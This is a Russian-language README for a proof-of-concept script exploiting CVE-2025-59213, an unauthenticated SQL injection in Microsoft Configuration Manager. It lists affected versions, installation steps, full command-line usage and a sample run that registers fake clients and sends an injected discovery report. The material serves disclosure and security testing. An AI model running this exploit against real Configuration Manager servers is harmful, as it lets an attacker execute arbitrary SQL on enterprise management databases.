Эксплуатация неаутентифицированной SQL-инъекции в Microsoft Configuration Manager (ConfigMgr / SCCM) 2503 (CVE-2025-59213)

Этот скрипт эксплуатирует уязвимость CVE-2025-59213, которая позволяет неаутентифицированному злоумышленнику, имеющему сетевой доступ к точке управления, выполнять произвольные SQL-запросы к базе данных сайта, используя недостаток SQL-инъекции в методе DuplicateAMTMachineRecord диспетчера данных обнаружения (DDM), где неэкранированное поле Hardware_ID0 неправильно обрабатывается при слиянии двух клиентов с конфликтующими аппаратными идентификаторами.

При отсутствии KB34503790 уязвимы все следующие версии Microsoft Configuration Manager:

< 2503 (5.00.9135.1008)
< 2409 (5.00.9132.1029)
< 2403 (5.00.9128.1035)
<= 2303 (*)

Требования

В некоторых случаях, когда точка управления настроена на режим связи Только HTTPS, требуется сертификат PKI для выполнения взаимной TLS-аутентификации с уязвимой HTTP-службой. Подойдёт любой сертификат, выданный внутренним PKI с целью Аутентификация клиента.
Если у вас нет сертификата, используйте ключ --altauth (подробнее здесь)

Примечания

Эксплойт требует регистрации двух поддельных клиентов, которых скрипт автоматически удаляет после успешной SQL-инъекции, если не используется ключ --no-clean или исправление не предотвращает очистку.
Поскольку инъекция асинхронна, временные полезные нагрузки неэффективны, так как нет прямой корреляции между выполнением и временем отклика.

Установка

Вы можете установить скрипт, клонировав репозиторий и установив зависимости.

$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Использование

 $ python3 CVE-2025-59213.py -h 
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]

CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target (http://sccm-mp.local/)
  -sk, --sigkey SIGKEY  SMS signature key (automatically generated if omitted)
  -k, --key KEY         Private key file for mTLS
  -c, --cert CERT       Certificate file for mTLS
  -v, --verbose         Verbose output, print requests
  -cn, --client-name CLIENT_NAME
                        Name of the client that will be created in SCCM
  -rs, --registration-sleep REGISTRATION_SLEEP
                        The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
  -a, --altauth         Use the MP's alternate authentication endpoint
  -sql SQL              Query to execute through the SQL injection
  -nc, --no-clean       Do not automatically clean the registred devices

Пример

$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully

CVE-2025-59213